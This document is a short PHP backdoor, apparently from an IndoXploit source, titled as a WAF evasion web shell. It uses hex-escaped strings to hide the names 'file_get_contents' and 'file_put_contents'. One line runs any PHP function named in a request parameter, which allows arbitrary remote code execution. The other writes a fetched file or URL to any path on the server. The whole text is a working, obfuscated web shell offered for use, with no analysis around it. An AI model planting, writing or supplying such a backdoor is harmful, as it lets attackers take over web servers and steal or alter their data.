Simple WAF Evasion Backdoor

<?php
/* L0c4lh34rtz - IndoXploit */
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
@$b($_REQUEST['c'], @$a($_REQUEST['d']));
?>